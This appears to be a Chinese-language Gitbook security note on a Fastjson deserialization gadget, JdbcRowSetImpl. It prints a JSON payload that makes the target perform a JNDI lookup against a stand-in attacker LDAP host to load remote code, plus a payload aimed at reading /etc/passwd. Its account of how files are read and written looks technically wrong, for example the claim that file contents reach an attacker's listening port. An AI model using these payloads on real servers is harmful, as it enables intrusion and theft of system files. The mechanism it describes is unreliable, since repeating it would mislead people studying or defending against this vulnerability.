Fastjson 文件读写 gadget 是哪条,原理是什么

Fastjson 文件读写 Gadget:JdbcRowSetImpl

JdbcRowSetImpl 本身是一个 JDBC 相关的类,它的功能是通过 JNDI 来获取数据源。这个类在 Fastjson 中被利用,是因为它的 dataSourceName 属性在反序列化时,会触发一个 JNDI 查找

攻击原理:从 JNDI 注入到文件读写

这条 Gadget 的核心原理是利用 JNDI 协议的文件查找功能

  1. Fastjson 漏洞触发: 攻击者构造一个恶意的 JSON 数据,其中包含 JdbcRowSetImpl 类,并将其 dataSourceName 属性设置为一个恶意的 URL

    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://attacker-ip:1389/Exploit",
        "autoCommit":true
    }
    

    当 Fastjson 对这段 JSON 进行反序列化时,会实例化 JdbcRowSetImpl 对象,并调用其 setDataSourceName() 方法。这个方法会触发一个 JNDI 查找

  2. JNDI 文件查找: JNDI 不仅支持 ldaprmi 等协议,它也支持 file 协议。file 协议允许 JNDI 客户端查找本地的文件

  3. 攻击者构造恶意 JNDI URL: 攻击者在 dataSourceName 中,将协议从 ldap 替换为 file,并将文件路径设置为目标服务器上的敏感文件,例如 /etc/passwd

    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"file:///etc/passwd",
        "autoCommit":true
    }
    

    当 Fastjson 反序列化这个 JSON 时,JdbcRowSetImpl 会向 JNDI 服务发起一个本地查找,查找 /etc/passwd 文件

  4. 文件读取: JNDI 服务找到这个文件后,会将其内容作为一个 Java 对象返回。这个对象包含了文件的内容。攻击者在自己的服务器上,通过监听端口,就可以截获这个 JNDI 响应,从而获取到 /etc/passwd 文件的内容

为什么能实现“文件写入”?

文件写入的原理与文件读取类似,但它利用的是 JNDI 对DataSource 对象的特殊处理

  1. 构造恶意 DataSource: 攻击者构造一个恶意的 DataSource 对象,这个对象在反序列化时,会执行文件写入操作
  2. JNDI 注入文件写入: 攻击者将 dataSourceName 设置为一个可以触发 JNDI 注入的 URL,例如 ldap://attacker-ip:1389/WriteFile
  3. 触发文件写入: 在攻击者的 LDAP 服务器上,返回一个恶意的 Reference 对象,其 factory 指向一个可以执行文件写入操作的类。当目标服务器接收并加载这个 Reference 对象时,就会触发文件写入
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:13:20

results matching ""

    No results matching ""